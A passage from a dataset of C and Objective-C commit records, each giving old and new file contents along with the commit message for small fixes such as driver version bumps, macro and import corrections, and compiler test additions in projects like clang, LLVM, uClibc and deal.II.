nke\/root,krafczyk\/root,karies\/root,dfunke\/root,Duraznos\/root,agarciamontoro\/root,sawenzel\/root,esakellari\/my_root_for_test,mhuwiler\/rootauto,mkret2\/root,gganis\/root,sawenzel\/root,nilqed\/root,lgiommi\/root,alexschlueter\/cern-root,smarinac\/root,sbinet\/cxx-root,pspe\/root,esakellari\/my_root_for_test,Duraznos\/root,zzxuanyuan\/root,mkret2\/root,sawenzel\/root,satyarth934\/root,krafczyk\/root,olifre\/root,bbockelm\/root,agarciamontoro\/root,mhuwiler\/rootauto,agarciamontoro\/root,perovic\/root,Duraznos\/root,sawenzel\/root,davidlt\/root,krafczyk\/root,evgeny-boger\/root,CristinaCristescu\/root,olifre\/root,mhuwiler\/rootauto,Y--\/root,pspe\/root,root-mirror\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,gbitzes\/root,abhinavmoudgil95\/root,mhuwiler\/rootauto,smarinac\/root,georgtroska\/root,esakellari\/my_root_for_test,lgiommi\/root,mattkretz\/root,thomaskeck\/root,georgtroska\/root,sirinath\/root,vukasinmilosevic\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,veprbl\/root,bbockelm\/root,0x0all\/ROOT,davidlt\/root,satyarth934\/root,olifre\/root,krafczyk\/root,0x0all\/ROOT,agarciamontoro\/root,mkret2\/root,evgeny-boger\/root,gganis\/root,abhinavmoudgil95\/root,simonpf\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,karies\/root,esakellari\/root,sawenzel\/root,BerserkerTroll\/root,mhuwiler\/rootauto,BerserkerTroll\/root,thomaskeck\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,mattkretz\/root,gganis\/root,davidlt\/root,beniz\/root,jrtomps\/root,georgtroska\/root,beniz\/root,gbitzes\/root,esakellari\/root,krafczyk\/root,Y--\/root,buuck\/root,gganis\/root,vukasinmilosevic\/root,smarinac\/root,perovic\/root,bbockelm\/root,satyarth934\/root,perovic\/root,davidlt\/root,sirinath\/root,lgiommi\/root,sirinath\/root,smarinac\/root,georgtroska\/root,georgtroska\/root,BerserkerTroll\/root,cxx-hep\/root-cern,sbinet\/cxx-root,georgtroska\/root,bbockelm\/root,agarciamontoro\/root,alexschlueter\/cern-root,davidlt\/root,sirinath\/root,mkret2\/root,veprbl\/root,BerserkerTroll\/root,simonpf\/root,sawenzel\/root,agarciamontoro\/root,sawenzel\/root,krafczyk\/root,mhuwiler\/rootauto,simonpf\/root,abhinavmoudgil95\/root,omazapa\/root,omazapa\/root-old,karies\/root,simonpf\/root,buuck\/root,thomaskeck\/root,omazapa\/root,BerserkerTroll\/root,veprbl\/root,nilqed\/root,pspe\/root,mattkretz\/root,pspe\/root,0x0all\/ROOT,evgeny-boger\/root,bbockelm\/root,pspe\/root,karies\/root,esakellari\/root,omazapa\/root-old,BerserkerTroll\/root,sbinet\/cxx-root,krafczyk\/root,olifre\/root,evgeny-boger\/root,nilqed\/root,beniz\/root,mattkretz\/root,jrtomps\/root,gbitzes\/root,dfunke\/root,simonpf\/root,georgtroska\/root,agarciamontoro\/root,mkret2\/root,root-mirror\/root,nilqed\/root,gganis\/root,veprbl\/root,0x0all\/ROOT,beniz\/root,dfunke\/root,gbitzes\/root,jrtomps\/root,omazapa\/root,sbinet\/cxx-root,arch1tect0r\/root,gbitzes\/root,esakellari\/my_root_for_test,arch1tect0r\/root,pspe\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,BerserkerTroll\/root,0x0all\/ROOT,esakellari\/my_root_for_test,arch1tect0r\/root,root-mirror\/root,vukasinmilosevic\/root,root-mirror\/root,buuck\/root,omazapa\/root,georgtroska\/root,zzxuanyuan\/root,pspe\/root,cxx-hep\/root-cern,dfunke\/root,beniz\/root,zzxuanyuan\/root,beniz\/root,CristinaCristescu\/root,smarinac\/root,CristinaCristescu\/root,jrtomps\/root,lgiommi\/root,esakellari\/root,CristinaCristescu\/root,omazapa\/root-old,lgiommi\/root,zzxuanyuan\/root,smarinac\/root,mhuwiler\/rootauto,Duraznos\/root,thomaskeck\/root,omazapa\/root,nilqed\/root,zzxuanyuan\/root,omazapa\/root,sawenzel\/root,alexschlueter\/cern-root,krafczyk\/root,cxx-hep\/root-cern,Duraznos\/root,karies\/root,bbockelm\/root,dfunke\/root,gganis\/root,perovic\/root,abhinavmoudgil95\/root,evgeny-boger\/root,Y--\/root,perovic\/root,jrtomps\/root,davidlt\/root,evgeny-boger\/root,vukasinmilosevic\/root,0x0all\/ROOT,omazapa\/root-old,karies\/root,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,nilqed\/root,Y--\/root,Y--\/root,arch1tect0r\/root,georgtroska\/root,beniz\/root,omazapa\/root-old,arch1tect0r\/root,gbitzes\/root,Y--\/root,pspe\/root,Y--\/root,satyarth934\/root,0x0all\/ROOT,omazapa\/root,karies\/root,jrtomps\/root,veprbl\/root,gganis\/root,olifre\/root,pspe\/root,veprbl\/root,davidlt\/root,BerserkerTroll\/root,veprbl\/root,dfunke\/root,sbinet\/cxx-root,smarinac\/root,veprbl\/root,davidlt\/root,bbockelm\/root,CristinaCristescu\/root,mattkretz\/root,beniz\/root,sawenzel\/root,omazapa\/root,omazapa\/root-old,sirinath\/root,vukasinmilosevic\/root,perovic\/root,root-mirror\/root,bbockelm\/root,agarciamontoro\/root,smarinac\/root,buuck\/root,omazapa\/root-old,satyarth934\/root,esakellari\/root,simonpf\/root,omazapa\/root-old,sawenzel\/root,jrtomps\/root,sbinet\/cxx-root,Duraznos\/root,sbinet\/cxx-root,esakellari\/root,buuck\/root,satyarth934\/root,alexschlueter\/cern-root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,cxx-hep\/root-cern,nilqed\/root,lgiommi\/root,karies\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,mattkretz\/root,veprbl\/root,dfunke\/root,esakellari\/my_root_for_test,perovic\/root,buuck\/root,agarciamontoro\/root,sbinet\/cxx-root,satyarth934\/root,buuck\/root,sirinath\/root,Duraznos\/root,BerserkerTroll\/root,mattkretz\/root,sirinath\/root,olifre\/root,CristinaCristescu\/root,evgeny-boger\/root,beniz\/root,Duraznos\/root,omazapa\/root,vukasinmilosevic\/root,mattkretz\/root,krafczyk\/root,olifre\/root,esakellari\/root,vukasinmilosevic\/root,Duraznos\/root,zzxuanyuan\/root,agarciamontoro\/root,gbitzes\/root,alexschlueter\/cern-root,arch1tect0r\/root,evgeny-boger\/root,karies\/root,smarinac\/root,mkret2\/root,georgtroska\/root,sirinath\/root,Y--\/root,esakellari\/my_root_for_test,davidlt\/root,krafczyk\/root,perovic\/root,beniz\/root,CristinaCristescu\/root,olifre\/root,cxx-hep\/root-cern,olifre\/root,zzxuanyuan\/root,mkret2\/root,BerserkerTroll\/root,vukasinmilosevic\/root"}
{"commit":"e6f3a0156453cfd376e90f50ee93acfda2b03e9e","old_file":"BotKit\/BotKit.h","new_file":"BotKit\/BotKit.h","old_contents":"\/\/\n\/\/  BotKit.h\n\/\/  BotKit\n\/\/\n\/\/  Created by Mark Adams on 9\/28\/12.\n\/\/  Copyright (c) 2012 thoughtbot. All rights reserved.\n\/\/\n\n#import \"BKCoreDataManager.h\"\n#import \"BKManagedViewController.h\"\n#import \"BKManagedTableViewController.h\"\n#import \"NSObject+Coding.h\"\n#import \"NSArray+ObjectAccess.h\"\n#import \"NSDate+RelativeDates.h\"\n#import \"UIColor+AdjustColor.h\"\n#import \"UIColor+Serialization.h\"\n#import \"NSArray+Filtering.h\"\n\n\/* \n\nTODOS:\n \nBKImageLoader\n -imageWithContentsOfURL:completionHandler:\n -imageWithContentsOFURLPath:completionHandler:\n\nUIImage:\n +imageWithContentsOfURLPath:\n \nNSArray:\n -filteredArrayWhereKeys:matchValue:withMethod:\n -filteredArrayWhereKeys:containValue:caseInsensitive:diacritical:\n \nNSURLRequest:\n +requestWithString:\n +requestWithURL:\n \nNSDate:\n -dateStringWithFormat:\n -dateStringWithStyle:\n  \n*\/\n \n\n","new_contents":"\/\/\n\/\/  BotKit.h\n\/\/  BotKit\n\/\/\n\/\/  Created by Mark Adams on 9\/28\/12.\n\/\/  Copyright (c) 2012 thoughtbot. All rights reserved.\n\/\/\n\n#import \"BKCoreDataManager.h\"\n#import \"BKManagedViewController.h\"\n#import \"BKManagedTableViewController.h\"\n#import \"NSObject+BKCoding.h\"\n#import \"NSArray+ObjectAccess.h\"\n#import \"NSDate+RelativeDates.h\"\n#import \"UIColor+AdjustColor.h\"\n#import \"UIColor+Serialization.h\"\n#import \"NSArray+Filtering.h\"\n\n\/* \n\nTODOS:\n \nBKImageLoader\n -imageWithContentsOfURL:completionHandler:\n -imageWithContentsOFURLPath:completionHandler:\n\nUIImage:\n +imageWithContentsOfURLPath:\n \nNSArray:\n -filteredArrayWhereKeys:matchValue:withMethod:\n -filteredArrayWhereKeys:containValue:caseInsensitive:diacritical:\n \nNSURLRequest:\n +requestWithString:\n +requestWithURL:\n \nNSDate:\n -dateStringWithFormat:\n -dateStringWithStyle:\n  \n*\/\n \n\n","subject":"Fix reference to BKCoding category","message":"Fix reference to BKCoding category\n","lang":"C","license":"mit","repos":"thoughtbot\/BotKit,thoughtbot\/BotKit"}
{"commit":"df2aa1efbb940aa7bf5ef49235e1d7aff0d52128","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n","subject":"Add test code for array initialization.","message":"Add test code for array initialization.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58502 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"3d1e914af227fd8fd7a41420664b225bf63e8f81","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k4\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k5\"\n","subject":"Update driver version to 5.04.00-k5","message":"qla4xxx: Update driver version to 5.04.00-k5\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nReviewed-by: Mike Christie <6fe105eefab41990d7ec714c6c25ade3095cdb48@cs.wisc.edu>\nSigned-off-by: Christoph Hellwig <923f7720577207a44b32e59bbfbea59d27f1ae8e@lst.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"458e459c372dca5579958aa760b4f3e2fc4c0e35","old_file":"bandit\/registration\/registrar.h","new_file":"bandit\/registration\/registrar.h","old_contents":"#ifndef BANDIT_REGISTRATION_REGISTRAR_H\n#define BANDIT_REGISTRATION_REGISTRAR_H\n\n#include <bandit\/registration\/spec_registry.h>\n\nnamespace bandit {\n  namespace detail {\n    struct spec_registrar {\n      spec_registrar(std::function<void()> func) {\n        bandit::detail::specs().push_back(func);\n      }\n    };\n  }\n}\n\n#define BANDIT_CONCAT2(a, b) a##b\n#define BANDIT_CONCAT(a, b) BANDIT_CONCAT2(a, b)\n#define BANDIT_ADD_COUNTER(a) SNOWHOUSE_CONCAT(a, __COUNTER__)\n\n#define go_bandit \\\n  static bandit::detail::spec_registrar BANDIT_ADD_COUNTER(bandit_registrar_)\n\n#define SPEC_BEGIN(name) \\\n  go_bandit([]{\n#define SPEC_END \\\n  });\n#endif\n","new_contents":"#ifndef BANDIT_REGISTRATION_REGISTRAR_H\n#define BANDIT_REGISTRATION_REGISTRAR_H\n\n#include <bandit\/registration\/spec_registry.h>\n\nnamespace bandit {\n  namespace detail {\n    struct spec_registrar {\n      spec_registrar(std::function<void()> func) {\n        bandit::detail::specs().push_back(func);\n      }\n    };\n  }\n}\n\n#define BANDIT_CONCAT2(a, b) a##b\n#define BANDIT_CONCAT(a, b) BANDIT_CONCAT2(a, b)\n#define BANDIT_ADD_COUNTER(a) BANDIT_CONCAT(a, __COUNTER__)\n\n#define go_bandit \\\n  static bandit::detail::spec_registrar BANDIT_ADD_COUNTER(bandit_registrar_)\n\n#define SPEC_BEGIN(name) \\\n  go_bandit([]{\n#define SPEC_END \\\n  });\n#endif\n","subject":"Use BANDIT_CONCAT instead of SNOWHOUSE_CONCAT macro","message":"Use BANDIT_CONCAT instead of SNOWHOUSE_CONCAT macro\n\nResolves #134\n","lang":"C","license":"mit","repos":"joakimkarlsson\/bandit,joakimkarlsson\/bandit,joakimkarlsson\/bandit"}
{"commit":"594d5743324d6748cb3fb1fa01c559ec4b225a34","old_file":"src\/SE_CInputManager.h","new_file":"src\/SE_CInputManager.h","old_contents":"\/*\n * This file is part of SpeakEasy.\n * Copyright (C) 2012  Lambert Clara <lambert.clara@yahoo.fr>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @file    SE_CInputManager.h\n * @brief   Input devices manager\n *\n * @author  Lambert Clara <lambert.clara@yahoo.fr>\n * @date    Created : 2012-04-23\n *\/\n\n#pragma once\n\n#include \"SE_IBaseManager.h\"\n\nclass SE_CInputManager : public SE_IBaseManager\n{\n    public:\n        explicit SE_CInputManager();\n        ~SE_CInputManager();\n\n        void startUp()  override;\n        void shutDown() override;\n};\n","new_contents":"\/*\n * This file is part of SpeakEasy.\n * Copyright (C) 2012  Lambert Clara <lambert.clara@yahoo.fr>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @file    SE_CInputManager.h\n * @brief   Input devices manager\n *\n * @author  Lambert Clara <lambert.clara@yahoo.fr>\n * @date    Created : 2012-04-23\n *\/\n\n#pragma once\n\n#include \"SE_IBaseManager.h\"\n\nclass SE_CInputManager : public SE_IBaseManager\n{\n    public:\n        SE_CInputManager();\n        ~SE_CInputManager();\n\n        void startUp()  override;\n        void shutDown() override;\n};\n","subject":"Remove useless explicit keyword on constructors without arguments.","message":"Remove useless explicit keyword on constructors without arguments.\n","lang":"C","license":"agpl-3.0","repos":"belkiss\/SpeakEasy,belkiss\/SpeakEasy"}
{"commit":"81cb088385ca4a1f63b7b308a8766117eaf90c09","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.06.00.08-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t6\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.06.00.12-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t6\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.06.00.12-k.","message":"[SCSI] qla2xxx: Update the driver version to 8.06.00.12-k.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"302313fc0923fb3cc142e3a37c54e5f0f5ebdaa4","old_file":"test\/FrontendC\/vla-2.c","new_file":"test\/FrontendC\/vla-2.c","old_contents":"\/\/ RUN: %llvmgcc -std=gnu99 %s -S -o - | grep \".*alloca.*align 32\"\n\nextern void bar(int[]);\n\nvoid foo(int a)\n{\n  int var[a] __attribute__((__aligned__(32)));\n  bar(var);\n  return;\n}\n","new_contents":"\/\/ RUN: %llvmgcc -std=gnu99 %s -S -o - | grep \".*alloca.*align 16\"\n\nextern void bar(int[]);\n\nvoid foo(int a)\n{\n  int var[a] __attribute__((__aligned__(16)));\n  bar(var);\n  return;\n}\n","subject":"Update this to use a \"valid\" alignment.","message":"Update this to use a \"valid\" alignment.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@108985 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"dfc6e33a4089b9f76dfb9aaf22014daa925849a2","old_file":"radiant-player-mac\/LastFm\/LastFmPopover.h","new_file":"radiant-player-mac\/LastFm\/LastFmPopover.h","old_contents":"\/*\n * LastFmPopover.h\n *\n * Created by Sajid Anwar.\n *\n * Subject to terms and conditions in LICENSE.md.\n *\n *\/\n\n#import <Cocoa\/Cocoa.h>\n#import <LastFM\/LastFm.h>\n\n#import \"LastFmService.h\"\n\n#define LASTFM_SIGN_IN_TAG 1\n\n@interface LastFmPopover : NSPopover<NSPopoverDelegate>\n\n@property (retain) IBOutlet LastFmService *service;\n\n- (void)refreshTracks;\n\n@end\n","new_contents":"\/*\n * LastFmPopover.h\n *\n * Created by Sajid Anwar.\n *\n * Subject to terms and conditions in LICENSE.md.\n *\n *\/\n\n#import <Cocoa\/Cocoa.h>\n#import <LastFm\/LastFm.h>\n\n#import \"LastFmService.h\"\n\n#define LASTFM_SIGN_IN_TAG 1\n\n@interface LastFmPopover : NSPopover<NSPopoverDelegate>\n\n@property (retain) IBOutlet LastFmService *service;\n\n- (void)refreshTracks;\n\n@end\n","subject":"Fix case sensitive import statement","message":"Fix case sensitive import statement\n\nFixes #190\n","lang":"C","license":"mit","repos":"kbhomes\/radiant-player-mac,radiant-player\/radiant-player-mac,kbhomes\/radiant-player-mac,kbhomes\/radiant-player-mac,radiant-player\/radiant-player-mac,kbhomes\/radiant-player-mac,radiant-player\/radiant-player-mac,radiant-player\/radiant-player-mac,kbhomes\/radiant-player-mac,radiant-player\/radiant-player-mac"}
{"commit":"b51aa35a0453a008bd583f4e8cfcf9a0eb22366b","old_file":"Markup.h","new_file":"Markup.h","old_contents":"\/\/***************************************************************************\n\nextern \"C\"\n{\n#import <Cocoa\/Cocoa.h>\n\n#import \"RWPluginFramework.h\"\n}\n\n\/\/***************************************************************************\n\n#pragma mark Logging\n\n#if ENABLE_LOGGING\n#   define Log NSLog\n#   define LOG_ENTRY NSLog(@\"Entered: %s (%@:%d)\", __func__, [[NSString stringWithCString:__FILE__] lastPathComponent], __LINE__);\n#else\n#   define Log(...) do { } while(0);\n#   define LOG_ENTRY do { } while(0);\n#endif\n\n\/\/***************************************************************************\n\n@interface Markup : RWAbstractPlugin\n{\n@public\n    BOOL usingSmartQuotes;\n}\n\n+ (Markup*) sharedMarkupPlugin;\n+ (NSBundle*) sharedBundle;\n\n+ (NSArray*) markupStyles;\n\n+ (NSNumber*) markupEnabledForFilterStyleInSelectedRange:(NSString*)markupStyleName;\n\n+ (void) addMarkupMenuItem;\n\n@end\n\n\/\/***************************************************************************\n\nextern const NSString* const kMarkupStyleFilterCommand;\nextern const NSString* const kMarkupStyleName;\n\nextern const int kMarkupTextMenuItemTag;\n\n\/\/***************************************************************************\n","new_contents":"\/\/***************************************************************************\n\nextern \"C\"\n{\n#import <Cocoa\/Cocoa.h>\n\n#import \"RWPluginFramework.h\"\n}\n\n\/\/***************************************************************************\n\n#pragma mark Logging\n\n#if ENABLE_LOGGING\n#   define Log NSLog\n#   define LOG_ENTRY NSLog(@\"Entered: %s (%@:%d)\", __func__, [[NSString stringWithUTF8String:__FILE__] lastPathComponent], __LINE__);\n#else\n#   define Log(...) do { } while(0);\n#   define LOG_ENTRY do { } while(0);\n#endif\n\n\/\/***************************************************************************\n\n@interface Markup : RWAbstractPlugin\n{\n@public\n    BOOL usingSmartQuotes;\n}\n\n+ (Markup*) sharedMarkupPlugin;\n+ (NSBundle*) sharedBundle;\n\n+ (NSArray*) markupStyles;\n\n+ (NSNumber*) markupEnabledForFilterStyleInSelectedRange:(NSString*)markupStyleName;\n\n+ (void) addMarkupMenuItem;\n\n@end\n\n\/\/***************************************************************************\n\nextern const NSString* const kMarkupStyleFilterCommand;\nextern const NSString* const kMarkupStyleName;\n\nextern const int kMarkupTextMenuItemTag;\n\n\/\/***************************************************************************\n","subject":"Use stringWithUTF8String instead of deprecated stringWithCString","message":"Use stringWithUTF8String instead of deprecated stringWithCString\n","lang":"C","license":"mit","repos":"andrep\/rw-markup,andrep\/rw-markup,andrep\/rw-markup"}
{"commit":"7eb6596d3168977375219db486f412d6dafe267b","old_file":"libc\/sysdeps\/linux\/common\/remap_file_pages.c","new_file":"libc\/sysdeps\/linux\/common\/remap_file_pages.c","old_contents":"","new_contents":"\/*\n * remap_file_pages() for uClibc\n *\n * Copyright (C) 2008 Will Newton <will.newton@imgtec.com>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#include <sys\/syscall.h>\n\n#ifdef __NR_remap_file_pages\n\n_syscall5(int, remap_file_pages, unsigned long, start, unsigned long, size,\n\t  unsigned long, prot, unsigned long, pgoff, unsigned long, flags);\n\n#endif\n","subject":"Add rempa_file_pages function by Will Newton <will.newton@imgtec.com>","message":"Add rempa_file_pages function by Will Newton <will.newton@imgtec.com>\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"0c831cc87a2effc6791e946858afaf5156d0edfc","old_file":"deal.II\/base\/include\/base\/std_cxx1x\/shared_ptr.h","new_file":"deal.II\/base\/include\/base\/std_cxx1x\/shared_ptr.h","old_contents":"\/\/---------------------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2009 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/---------------------------------------------------------------------------\n#ifndef __deal2__std_cxx1x_shared_ptr_h\n#define __deal2__std_cxx1x_shared_ptr_h\n\n\n#include <base\/config.h>\n\n#ifdef DEAL_II_CAN_USE_CXX1X\n\n#  include <memory>\n\n#else\n\n#include <boost\/shared_ptr.hpp>\n\nDEAL_II_NAMESPACE_OPEN\nnamespace std_cxx1x\n{\n  using boost::shared_ptr;\n  using boost::enable_shared_from_this;\n}\nDEAL_II_NAMESPACE_CLOSE\n\n#endif\n\n#endif\n","new_contents":"\/\/---------------------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2009 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/---------------------------------------------------------------------------\n#ifndef __deal2__std_cxx1x_shared_ptr_h\n#define __deal2__std_cxx1x_shared_ptr_h\n\n\n#include <base\/config.h>\n\n#ifdef DEAL_II_CAN_USE_CXX1X\n\n#  include <memory>\n\n#else\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/scoped_ptr.hpp>\n\nDEAL_II_NAMESPACE_OPEN\nnamespace std_cxx1x\n{\n  using boost::shared_ptr;\n  using boost::enable_shared_from_this;\n\n\t\t\t\t   \/\/ boost doesn't have boost::unique_ptr,\n\t\t\t\t   \/\/ but its scoped_ptr comes close so\n\t\t\t\t   \/\/ re-implement unique_ptr using scoped_ptr\n  template<class T> class unique_ptr : public boost::scoped_ptr<T>\n  {\n    public:\n      explicit unique_ptr(T * p = 0)\n\t\t      :\n\t\t      boost::scoped_ptr<T> (p)\n\t{}\n  };\n\n}\nDEAL_II_NAMESPACE_CLOSE\n\n#endif\n\n#endif\n","subject":"Implement the equivalent of std::unique_ptr using boost::scoped_ptr.","message":"Implement the equivalent of std::unique_ptr using boost::scoped_ptr.\n\n\ngit-svn-id: 31d9d2f6432a47c86a3640814024c107794ea77c@19195 0785d39b-7218-0410-832d-ea1e28bc413d\n","lang":"C","license":"lgpl-2.1","repos":"sriharisundar\/dealii,YongYang86\/dealii,sriharisundar\/dealii,kalj\/dealii,sriharisundar\/dealii,YongYang86\/dealii,sriharisundar\/dealii,flow123d\/dealii,flow123d\/dealii,johntfoster\/dealii,ibkim11\/dealii,gpitton\/dealii,pesser\/dealii,ibkim11\/dealii,spco\/dealii,jperryhouts\/dealii,shakirbsm\/dealii,ibkim11\/dealii,JaeryunYim\/dealii,danshapero\/dealii,lue\/dealii,YongYang86\/dealii,mac-a\/dealii,andreamola\/dealii,ESeNonFossiIo\/dealii,danshapero\/dealii,flow123d\/dealii,EGP-CIG-REU\/dealii,sairajat\/dealii,mac-a\/dealii,lue\/dealii,lpolster\/dealii,johntfoster\/dealii,YongYang86\/dealii,kalj\/dealii,nicolacavallini\/dealii,pesser\/dealii,johntfoster\/dealii,sairajat\/dealii,kalj\/dealii,johntfoster\/dealii,maieneuro\/dealii,flow123d\/dealii,maieneuro\/dealii,danshapero\/dealii,JaeryunYim\/dealii,shakirbsm\/dealii,rrgrove6\/dealii,nicolacavallini\/dealii,shakirbsm\/dealii,msteigemann\/dealii,JaeryunYim\/dealii,andreamola\/dealii,mtezzele\/dealii,andreamola\/dealii,angelrca\/dealii,adamkosik\/dealii